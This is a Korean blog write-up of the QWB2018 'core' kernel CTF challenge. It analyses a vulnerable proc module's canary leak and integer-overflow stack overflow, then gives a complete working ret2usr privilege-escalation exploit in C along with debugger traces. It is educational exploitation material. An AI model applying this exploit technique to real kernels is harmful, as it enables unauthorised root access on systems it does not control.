블로그 이전했습니다. https://jeongzero.oopy.io/
[qwb2018] core
본문 바로가기
워게임/CTF 문제들

[qwb2018] core

728x90

1. 문제


참고로 익스코드는 인터넷에 올라온 롸업꺼를 쓰고 분석 위주로 작성했다.

1) 문제 확인

문제파일은 아래에서 다운받을수 있다.

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core

커널 공부 후 첫 CTF 문제이다. 물론 롸업을 보면서 풀었다.ㅋ

우선 위 깃헙에서 문제파일들중 core_give.tar.gz 만 다운받고 압축을 풀면 아래와 같은 파일들이 나온다.

test 폴더는 신경쓰지말고 총 4개의 파일이 있다.

  • bzImage : vmlinux에서 명령어 set을 뽑아낸 빌드된 커널 이미지
  • core.cpio : 압축된 파일시스템
  • start.sh : 부팅 스크립트
  • vmlinux : 디버깅 심볼이 들어있는 elf

기본적으로 위 문제를 풀기위해선, qemu 설치위 vmware의 Vt-x/EPT 기능을 on 해야한다. 이제 부팅 스크립트를 살펴보자

qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./test/rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

램은 기존 사이즈론 안되서 256으로 수정했다. 커널 이미지와 파일시스템 경로를 수정했고, append 옵션 뒤를 보면, kaslr이 있다. 따라서 해당 커널은 kaslr이 걸려고있고 나머지는 안걸려있다.

취약한 커널 모듈을 확인하기 위해 cpio로 압축된 파일시스템을 일단 추출해야한다.

gzip 형식이므로 core.gz로 확장자를 번경한뒤, gzip -d core.gz로 압축을 풀고, cpio -id -v < core 명령을 통해 파일들을 뽑아내면 된다. cpio 옵션은 다음과 같다

  • i : 압축해제 옵션
  • d : 없는 디렉토리는 생성
  • v : 파일명 목록을 출력

나는 따로 test 폴더를 만들어서 그 안에서 압축을 풀었다

보면 core.ko 커널 모듈이 들어가 있다. 요 모듈을 분석하면 된다

2) mitigation 확인

부팅 스크립트에 있다시피 kaslr 빼곤 안걸려있다.

3) 코드흐름 파악

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

초기화 모듈을 보면 proc 하위에 core라는 디바이스 드라이버를 생성한다.

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 1719109787:
      core_read(a3);
      break;
    case 1719109788:
      printk(&unk_2CD);
      off = v3;
      break;
    case 1719109786:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

core_ioctl 함수가 호출되면, 두번째 인자로 들어온 값에 따라서 3가지로 분기를 한다. 1719109787 이면 core_read()가 호출되고, 1719109788 이면 a3를 off 변수에 담는다. 마지막으로 1719109789 이면 core_copy_func() 함수가 호출된다. a3에 off가 들어간다는걸 기억하자.

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 user_buf; // rbx
  __int64 *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  user_buf = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(user_buf, (char *)&v5 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

core_read() 함수에서 취약점이 하나 존재한다. copy_to_user() 함수는 user 공간의 값으로 커널영역의 값을 복사해오는 함수이다. 잘 생각해보면, 현재 카나리가 v6에 있고 v5과는 0x40 차이만큼 떨어져 있다.

만약 off에 0x40을 줄수 있다면 v5+0x40 = v6 즉, 카나리값이 user_buf로 저장될것이고 이 값이 return될것이다. 아까 core_ioctl() 함수에서 두번째 분기를 이용해서 off값을 컨트롤할수 있다. 따라서 core_read를 통해 카나리를 leak할수 있다. 우선 다음 함수도 살펴보자

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230);
  return 4294967282LL;
}

core_write() 함수를 보면, 3번째 인자로 들어온 값의 사이즈와 copy_from_user() 함수의 반환값을 체크한다. copy_from_user() 함수는 아까와는 반대로 user 영역의 값(a2)을 커널 영역(name)으로 복사하는 함수이다. name변수에 a2값이 저장된다는걸 기억하자.

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

마지막인 core_copy_func() 함수이다. 인자로 들어온 a1이 63보다 작으면 qmemcpy() 함수가 호출되면서, a1만큼 name 영역의 값을 v2로 복사한다. name에는 core_write() 함수호출을 통해 원하는 값을 넣을수 있다.

이제 여기서 취약점이 터진다. 인자로 들어온 a1은 signed int64이기 때문에 조건문을 우회할수 있다. 즉 signed 최대 범위를 넘어으면 음수로 표현되고 조건문을 피해 else로 빠진다. 그리고 qmemcpy에서는 다시 unsgined로 캐스팅되어 절대값 그대로 사이즈가 들어간다.

즉, 해당 함수를 통해 bof가 발생하고, 첫번째 취약점을 통해 카나리로 ret값을 조작할수 있다

2. 접근방법


리눅스 커널 문제는 기본 포너블 문제와는 다르게 여러 세팅을 해줭야 한다. 우선, 위에서 말한 bof를 트리거해서 디버깅해보자. 트리거 코드는 다음과 같다.

컴파일 => gcc -o ex2 ex2.c -static
-------------------------------------
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define read_num 1719109787
#define off_num 1719109788
#define write_num 1719109786

int main()
{
        int fd = open("/proc/core",O_RDWR);
        char rop[0x100];
        char canary[8]={0,};
        if(!fd)
        {
                printf("[-] Failed to open /proc/core\n");
                return -1;
        }       
        printf("[+] Success to open /proc/core\n");

        char val[8]={0,};
        char str_buf[0x100]={0,};

        ioctl(fd,off_num,0x40);
        ioctl(fd,read_num,str_buf);
        memcpy(canary,str_buf,8);

        memset(rop,0x41,0x40);
        memcpy(rop+0x40,canary,8);
        memset(rop+0x48,0x41,8);
        memset(rop+0x50,0x42,8);
        write(fd,rop,0x58);
        ioctl(fd,write_num,0xffffffffffff0000|sizeof(rop)); 
}

이제 리눅스 커널을 디버깅하기 위해선 qemu의 -s 옵션이 존재해야한다.

qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./test/rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

해당 문제에선 이미 s 옵션을 주어줬으므로 손댈껀 없다. 커널 디버깅 공부자료에서 했으므로 바로 진행하자. 아아아아 그전에 커널 디버깅에 필요한 추가적인 부분을 정리해야한다. 저 커널 디버깅 글에는 이 내용이 없다 ㅋ

우선 디버깅을 하기전에 아까 cpio 압축해제한 곳을 잘 보면 init 파일이 있다. 저기서 타임아웃되는 옵션을 늘리자.

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 3000 -f & // 요부분 ! 3000으로 변경
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

위 스크립트는 커널 부팅시에 설정되는 세팅들이다. 위 부분을 수정했다면, 다시 파일 시스템을 만들어줘야한다. 해당 문제에서 친절하게 gen_cpio.sh 스크립트를 만들어놨다. 저기 안을 들여다보면 알겠지만 간단하다. 만약 스크립트가 제공되지 않았다면 아래 명령어로 치면 된다

ls | cpio -o --format=newc > 이름아무거나.cpio

여기선 gen_cpio.sh rootfs.cpio 이렇게 쳤고, rootfs.cpio가 생성됬으면, start.sh에서 -initrd 옵션의 경로를 맞춰준다.

-> start.sh 파일 일부

...

-initrd  ./test/rootfs.cpio

... 

이제 start.sh를 실행시켜보자.

현재 uid=1000을 가진 chal user로 로그인이 되어있다. 우리의 목표는 취약점한 모듈을 이용하여 LPE를 하는 것이다.

$ ./start.sh

// 터미널 새로 키고

$ gdb vmlinux
$ target remote:1234 //qemu -s 옵션해놔서 가능한것
$ b* core_read

??? 심볼이 없다고 뜬다. 음 이를 해결하기 위해선 KADR을 알아야 한다. KADR에 대해선 자세하게 따로 설명할 예정이다. 우선 간략히말하면

KADR(Kernel Address Display Restriction) 이란 말그대로 커널 영역의 주소 등의 정보를 보여주는데 제한을 거는 미티게이션이다. 예를 들어 공격자가 커널 취약점을 이용하여 익스를할때, 가젯, 커널 함수 주소 등의 정보가 필요한데, 이러한 정보들을 민간함 정보로 처리하여 일반 로컬 사용자에게는 보여주지 않는다.

민감한 정보중 하나인 심볼정보들은 /proc/kallsyms 파일인데, 여기에는 커널의 모든 심볼 목록을 보관하고 있다. 따라서 우리가 core.ko 모듈을 디버깅하기 위해선 저기서 core.ko 의 .text 시작주소를 얻어야한다. 하지만 이는 루트사용자만 얻을수 있고, 일반 사용자가 해당 파일을 확인하면 아래와 같이 모든 주소가 0으로 표시된다

/ $ cat /proc/kallsyms
0000000000000000 A irq_stack_union
0000000000000000 A __per_cpu_start
0000000000000000 T startup_64
0000000000000000 T _stext
0000000000000000 T _text
0000000000000000 T secondary_startup_64
0000000000000000 T verify_cpu
0000000000000000 T start_cpu0
0000000000000000 T __startup_64
0000000000000000 T __startup_secondary_64
0000000000000000 t run_init_process
0000000000000000 t try_to_run_init_process
0000000000000000 t initcall_blacklisted
0000000000000000 T do_one_initcall
0000000000000000 t match_dev_by_uuid
0000000000000000 T name_to_dev_t
0000000000000000 t rootfs_mount
0000000000000000 t bstat
.....

따라서 init 파일에서 uid 부분을 0으로 변경한뒤 다시 gen_cpio.sh를 이용하여 rootfs를 만들고 부팅을 해야한다. (또한 트리거 코드도 컴파일해서 gen_cpio.sh 와 동일 폴더에 넣어야함. 그래서 올라감.)

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 3000 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh // 1000 -> 0 으로 변경
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

다시 부팅을 하고 확인을 해보면

/ # id
uid=0(root) gid=0(root) groups=0(root)
/ # cat /proc/kallsyms
0000000000000000 A irq_stack_union
0000000000000000 A __per_cpu_start
ffffffff9c000000 T startup_64
ffffffff9c000000 T _stext
ffffffff9c000000 T _text
ffffffff9c000030 T secondary_startup_64
...

아까와는 다르게 심볼주소들이 나와있다. 이상태에서 core_read 같은 함수 주소를 찾고, 거따가 bp를 걸어도되지만, 그렇게 되면 좆같다. 왜 좆같은지는 직접 해보시길...

따라서 core.ko 모듈의 코드영역 시작주소를 gdb에 등록해야한다. 이는 다음의 명령어로 확인 가능하다

/ # cat /sys/module/core/sections/.text
0xffffffffc00e1000

이제 gdb에 붙고, core.ko 모듈의 코드시작주소를 등록해주자

pwndbg> gdb -q vmlinux
pwndbg> target remote:1234
pwndbg> add-symbol-file ./core.ko 0xffffffffc0328000
add symbol table from file "./core.ko" at
	.text_addr = 0xffffffffc0328000
Reading symbols from ./core.ko...(no debugging symbols found)...done.
pwndbg> b* core_read
Breakpoint 1 at 0xffffffffc0328063
pwndbg> c

c를 누른상태에서 qemu안에서 트리거 바이너리를 실행시키면 core_read함수에 bp가 걸린것을 확인할수 있다. 이제 디버깅하면 된다.

3. 풀이


두가지 취약점들만 확인해보자. 우선 ioctl()을 통해서 off에 0x40을 넣었다. 그 후 core_read()의 copy_to_user를 통해서 카나리가 user_buf에 들어갈것이다.

   0xffffffffc01810cc <core_read+105>       call   0xffffffffbbf26f10 <0xffffffffbbf26f10>
	 //여기가 copy_to_user() 함수임
 ► 0xffffffffc01810d1 <core_read+110>       test   rax, rax
   0xffffffffc01810d4 <core_read+113>       je     core_read+120 <core_read+120>
    ↓
   0xffffffffc01810db <core_read+120>       mov    rax, qword ptr [rsp + 0x40]
   0xffffffffc01810e0 <core_read+125>       xor    rax, qword ptr gs:[0x28]
   0xffffffffc01810e9 <core_read+134>       je     core_read+141 <core_read+141>
    ↓
   0xffffffffc01810f0 <core_read+141>       add    rsp, 0x48
   0xffffffffc01810f4 <core_read+145>       pop    rbx
   0xffffffffc01810f5 <core_read+146>       ret    
 
   0xffffffffc01810f6 <core_copy_func>      push   rbx
   0xffffffffc01810f7 <core_copy_func+1>    mov    rbx, rdi
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsp  0xffffaa728011fe18 ◂— push   rdi /* 0x20656d6f636c6557; 'Welcome to the QWB CTF challenge.\n' */
01:0008│      0xffffaa728011fe20 ◂— je     0xffffaa728011fe91 /* 0x5120656874206f74; 'to the QWB CTF challenge.\n' */
02:0010│      0xffffaa728011fe28 ◂— push   rdi /* 0x6320465443204257; 'WB CTF challenge.\n' */
03:0018│      0xffffaa728011fe30 ◂— push   0x656c6c61 /* 0x65676e656c6c6168; 'hallenge.\n' */
04:0020│      0xffffaa728011fe38 ◂— 0xa2e /* '.\n' */
05:0028│      0xffffaa728011fe40 ◂— 0
... ↓
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0 ffffffffc01810d1 core_read+110
   f 1 20656d6f636c6557
   f 2 5120656874206f74
   f 3 6320465443204257
   f 4 65676e656c6c6168
   f 5              a2e
   f 6                0
─────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/gx 0x7fff69af5870
0x7fff69af5870:	0xd703bd88f97c0600 // 요게 user_buf

카나리가 user_buf에 잘들어갔다. 이제 core_copy_func() 함수의 qmemcpy를 봐보자.

leak한 카나리를 잘 넣어서 우회가 되었고 ret위치에 0x42...가 들어가있는걸 확인할수 있다. 여기서부터가 이제 중요하다. 기존에 풀었던 포너블 문제처럼 시스템함수로 조지면 안되고, ret2usr라는 기법을 이용해서 해당 문제를 풀어야한다.

ret2usr 기법

해당 기법은 커널 영역의 코드가 유저영역의 코드를 실행 할 수 있다는 것을 이용한 기술이다. 코드영역 실행권한에 대한 미티게이션이 없기 때문에 가능하다. 우선 LPE를 위해서 commit_creds, prepare_kernel_cred 두 함수를 이용해야한다. 이는 전에 설명했으므로 따로 설명은 안하겠다.

즉 커널 영역에서 위 두개의 함수를 이용하여 root 권한의 자격증명을 준비하고, system 함수를 유저영역에서 실행시키는 기법이다. 쉽게 보면 다음과 같다

commit_creds(prepare_kernel_cred(NULL));
system("/bin/sh");

흐름만 이렇다는거지 저렇게 rop하면 안된다. 일단, commit_creds, prepare_kernel_cred 함수의 주소를 알아야한다. 위에서 말한것처럼 유저모드에선 cat /proc/kallsyms 을 통해 주소를 얻을수 없다.

하지만 init 파일을 자세히 보면

...
cat /proc/kallsyms > /tmp/kallsyms
...

요라인이 있다. 따라서 유저도 /tmp/kallsyms을 이용해서 위 두개의 함수주소를 얻을수 있다. 그럼 이제 커널영역에서 유저영역의 코드를 실행시키기 위한 작업을 해야한다.

커널영역이든 유저영역이든 각자의 스택을 가지고 있다. 자세한 설명은 여기를 참조하자.

공부한 내용을 기억해보면, 보통 유저영역에서 시스템콜을 하게되면 커널영역으로 주도권이 넘어가고 그때 다시 유저로 돌아오기위해 그때의 레지스터 같은 정보들을 pcb에 저장한다고 했다. 반대로 커널에서 유저로 잠시 넘어갈때도 동일하다.

이처럼 지금은 우리가 강제로 ret2usr를 진행시키려는 것이므로 우리가 직접 스택 포인터 복원 기능을 추가 해야한다. 복원 기능은 iret 명령어를 이용하면 된다.

iret 명령어는 인터럽트로 중단 된 프로그램 또는 프로시저(procedure)로 프로그램 제어를 반환하는 명령어이다 즉, iret 명령어가 실행되면, 대피시킨 PC 값을 복원하여 이전 실행 위치로 복원한다.

따라서 필요한 스택 레이아웃을 미리 유저단에서 ret값을 조정하기 전에 백업해두고, iret 를 이용해서 백업한 스택 레이아웃을 복구시키는 과정을 거치면 된다.

Stack Layout

32bit64bit
EIPRIP
CSCS
EFLAGSEFLAGS
ESPRSP
SSSS

우선 어셈코드를 이용해서 스택 레이아웃에 필요한 레지스터 값을 tf 구조체에 저장하는 함수를 구현한다. → set_trapframe()

struct trap_frame
{
   void *user_rip;        // instruction pointer
   uint64_t user_cs;      // code segment
   uint64_t user_rflags;  // CPU flags
   void *user_rsp;        // stack pointer
   uint64_t user_ss;      // stack segment
} __attribute__((packed));
struct trap_frame tf;

...

void set_trapframe()
{
   asm("mov tf+8, cs;"
       "pushf; pop tf+16;"
       "mov tf+24, rsp;"
       "mov tf+32, ss;"
      );
   tf.user_rip = &shell;
   printf("[+] Finish made trap frame.\n");
}

그 다음 실제 ret 위치에 들어갈 payload 함수를 구현한다.

void shell()
{
   printf("[+] Get shell.\n");
   execl("/bin/sh","sh",NULL);
}

void payload()
{
   commit_creds(prepare_kernel_cred(0));
   asm("swapgs;"
       "mov %%rsp, %0;"
       "iretq;"
  : : "r" (&tf));
}

payload() 함수의 어셈부분은 아직 완벽히 모르겠다. 대충 tf 구조체에 저장한 값을 가지고 iretq를 통하여 복원시키는 기능이라고 보면 된다. 참고로 32bit에서는 아래와 같이 어셈을 짜면 된다

void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf, %esp;"
        "iret ;");
}

💡
64bit에서 swapgs 부분을 없애면 General Protection Fault 에러가 난다. 이를 해결하기 위해 SWAPGS 명령어를 이용하여 GS레지스터 값 변경이 필요하다. - SWAPGS 명령어는 GS.base의 값을 MSR의 KernelGSbase(C0000102H) 값과 교환하는 명령어입니다.

정리를 하면 최종 시나리오는 다음과 같다.

  1. 유저공간 즉 익스코드에서 ret 변경을 하기 전에 set_trapframe() 함수를 호출하여 현재 유저공간의 스택 포인터를 백업한다.(tj 구조체에)
  1. 그다음 익스코드에서 payload를 인자로하여 write함수를 호출한다
    • 그러면 실제 커널 모듈인 core_write() 가 호출되며 name 변수에 payload를 저장한다
  1. 그다음 익스코드에서 현재 유저 영역의 스택 포인터를 백업한다. → set_trapframe() 함수
  1. 그다음 익스코드에서 인티저 오버플로우 사이즈를 인자로 ioctl()을 호출한다
    • 그러면 실제 커널 모듈인 core_copy_fucn()가 호출되며 bof가 일어나고, core_copy_func() 함수의 ret값이 payload 함수로 조작된다.
  1. (참고로 지금 커널영역에서 진행됨) payload 함수가 호출되면서 root 권한의 자격증명을 가져와 권한상승을 일으킨뒤, iretq 명령을 이용해 아까 백업한 스택 포인터를 백업한다.
  1. 그러면 현재 커널 영역에서 유저영역에서 저장한 스택 포인터들이 복원되고, 그중 rip도 복원되어 해당 rip가 다음에 실행된다
  1. 우리는 아까 백업시에 rip에 shell() 함수주소를 넣었다.

참고로 해당 기법은 해당 커널 주소에 실행권한이 있어야지 가능함. 이 문제에선 실행권한이 있음.

자 간단히 디버깅으로 살펴보자. 아래는 ret가 payload함수 주소로 변경된 사진이다.

pwndbg> x/50i 0x400d6b
=> 0x400d6b:	push   rbp
   0x400d6c:	mov    rbp,rsp
   0x400d6f:	push   rbx
   0x400d70:	sub    rsp,0x8
   0x400d74:	mov    rbx,QWORD PTR [rip+0x2bb64d]        # 0x6bc3c8
   0x400d7b:	mov    rax,QWORD PTR [rip+0x2bb64e]        # 0x6bc3d0
   0x400d82:	mov    edi,0x0
   0x400d87:	call   rax // prepare_kernel_cred
   0x400d89:	mov    rdi,rax
   0x400d8c:	call   rbx // commit_creds
   0x400d8e:	lea    rax,[rip+0x2bb60b]        # 0x6bc3a0
   0x400d95:	swapgs 
   0x400d98:	mov    rsp,rax
   0x400d9b:	iretq

payload 함수 어셈을 보면, 자격증명 세팅을 위한 함수 2개가 각각 호출되는걸 볼수 있다. 그다음 swapgs 명령후, rax에 들어있는 tf 구조체 변수 주소를 rsp에 넣는다.

*RAX  0x6bc3a0 —▸ 0x400cfc ◂— push   rbp
*RBX  0xffffffffb1c9c8e0 ◂— push   r12 /* 0x4025248b4c655441 */
 RCX  0x0
*RDX  0x3fffffffff
*RDI  0xffff942e4f080e40 ◂— 2
*RSI  0x3f
*R8   0x100000001
*R9   0x0
*R10  0x0
*R11  0x0
 R12  0xffff942e4900f7a0 ◂— mov    dh, 0x81 /* 0x581b6 */
 R13  0x6677889a
 R14  0xffffffffffff0100
 R15  0x0
*RBP  0xffffafe04011fe68 ◂— add    byte ptr [rcx], al /* 0xffffffffffff0100 */
*RSP  0xffffafe04011fe58 ◂— 0x296
*RIP  0x400d98 ◂— mov    rsp, rax
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x400d98    mov    rsp, rax
   0x400d9b    iretq  
	...
─────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20gx 0x6bc3a0
0x6bc3a0:	0x0000000000400cfc	0x0000000000000033
0x6bc3b0:	0x0000000000000206	0x00007ffdee8b8dd0
0x6bc3c0:	0x000000000000002b	0xffffffffb1c9c8e0
0x6bc3d0:	0xffffffffb1c9cce0	0x0000000000000000

현재 rax(0x6bc3a0) 가 tf 구조체 주소이다. 0x400cfc가 백업된 rip이다. iretq 가 호출되면 rip가 저걸로 변경될것이다. 다음 rip는 0x400d9b이다

pwndbg> si
pwndbg> si
ERROR: Could not find ELF base!
0x0000000000400cfc in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 RAX  0x6bc3a0 —▸ 0x400cfc ◂— push   rbp
 RBX  0xffffffffb1c9c8e0 ◂— push   r12 /* 0x4025248b4c655441 */
 RCX  0x0
 RDX  0x3fffffffff
 RDI  0xffff942e4f080e40 ◂— 2
 RSI  0x3f
 R8   0x100000001
 R9   0x0
 R10  0x0
 R11  0x0
 R12  0xffff942e4900f7a0 ◂— mov    dh, 0x81 /* 0x581b6 */
 R13  0x6677889a
 R14  0xffffffffffff0100
 R15  0x0
 RBP  0xffffafe04011fe68 ◂— add    byte ptr [rcx], al /* 0xffffffffffff0100 */
*RSP  0x7ffdee8b8dd0 —▸ 0x7ffdee8b9010 —▸ 0x401d10 ◂— push   r15
*RIP  0x400cfc ◂— push   rbp
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x400cfc    push   rbp
   0x400cfd    mov    rbp, rsp
   0x400d00    lea    rdi, [rip + 0x914f1]
   0x400d07    call   0x410c10 <0x410c10>
 
   0x400d0c    mov    edx, 0
   0x400d11    lea    rsi, [rip + 0x914ef]
   0x400d18    lea    rdi, [rip + 0x914eb]
   0x400d1f    mov    eax, 0
   0x400d24    call   0x4494f0 <0x4494f0>
 
   0x400d29    nop    
   0x400d2a    pop    rbp

rip가 변경된걸 확인할수 있다!. 저기는 get_shell() 함수이다. 따라서 커널영역 → 유저로 넘어와 쉘이 관리자 권한으로 떨어질것이다.

참고로 디버깅 다하고 실제로 익스할때는 init 스크립트의 uid값을 다시 1000으로 변경하자.

익스코드

#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define read_num 1719109787
#define off_num 1719109788
#define write_num 1719109786

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

struct trap_frame
{
   void *user_rip;        // instruction pointer
   uint64_t user_cs;      // code segment
   uint64_t user_rflags;  // CPU flags
   void *user_rsp;        // stack pointer
   uint64_t user_ss;      // stack segment
} __attribute__((packed));
struct trap_frame tf;


unsigned long kallsym_getaddr(const char* str)
{
	FILE* fd;
	char fbuf[256];
	char addr[32];

	fd=fopen("/tmp/kallsyms","r");
	memset(fbuf,0,sizeof(fbuf));

        while(fgets(fbuf,256,fd) != NULL)
        {
                char *p = fbuf;
                char *a = addr;
                if(strlen(fbuf) == 0)
                {        continue;}
                memset(addr,0x00,sizeof(addr));
                fbuf[strlen(fbuf)-1] = '\0';
                while(*p != ' ')
                {*a++ = *p++;}
                p += 3;
                if(!strcmp(p,str))
		{
			fclose(fd);
                        return strtoul(addr, NULL, 16);
        	}
	}
}

void shell()
{
   printf("[+] Get shell.\n");
   execl("/bin/sh","sh",NULL);
}
void set_trapframe()
{
   asm("mov tf+8, cs;"
       "pushf; pop tf+16;"
       "mov tf+24, rsp;"
       "mov tf+32, ss;"
      );
   tf.user_rip = &shell;
   printf("[+] Finish made trap frame.\n");
}
void payload()
{
   commit_creds(prepare_kernel_cred(0));
   asm("swapgs;"
       "mov %%rsp, %0;"
       "iretq;"
  : : "r" (&tf));
}
int main()
{
	int fd = open("/proc/core",O_RDWR);
	char rop[0x100];
	char canary[8]={0,};
	if(!fd)
	{
		printf("[-] Failed to open /proc/core\n");
		return -1;
	}	
	printf("[+] Success to open /proc/core\n");

	char val[8]={0,};
	char str_buf[0x100]={0,};

	ioctl(fd,off_num,0x40);
	ioctl(fd,read_num,str_buf);
	memcpy(canary,str_buf,8);

	commit_creds=kallsym_getaddr("commit_creds");
	prepare_kernel_cred=kallsym_getaddr("prepare_kernel_cred");
       printf("[+] commit_creds : 0x%lx\n",commit_creds);
       printf("[+] prepare_kernel_cred : 0x%lx\n",prepare_kernel_cred);
	//0x40 + canary + 0x10 + rip
	   memset(rop,0x41,0x40);
   	   memcpy(rop+0x40,canary,8);
   	   memset(rop+0x48,0x41,8);
	   *(void**)(rop+0x50) = &payload;
	   set_trapframe();
  	   write(fd,rop,0x58);
	ioctl(fd,write_num,0xffffffffffff0000|sizeof(rop)); 
}

/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./ex
[+] Success to open /proc/core
[*] Canary @ 00024815AD3C27F0
[+] commit_creds : 0xffffffffb2c9c8e0
[+] prepare_kernel_cred : 0xffffffffb2c9cce0
[+] Finish made trap frame.
[+] Get shell.
/ # id
uid=0(root) gid=0(root)

4. 몰랐던 개념


정리해야할 것들

  • KADR
  • swapgs 어셈
  • 해당 문제를 rop로 풀어보기

참고자료

728x90

'워게임 > CTF 문제들' 카테고리의 다른 글

[0ctf 2019] babykernel2  (0) 2020.12.08
[cicsn2017] babydriver  (0) 2020.12.04
[darkCTF] newPaX  (0) 2020.09.28
[darkCTF] butterfly  (0) 2020.09.28
[Codegate 2019] god-the-reum  (0) 2020.09.22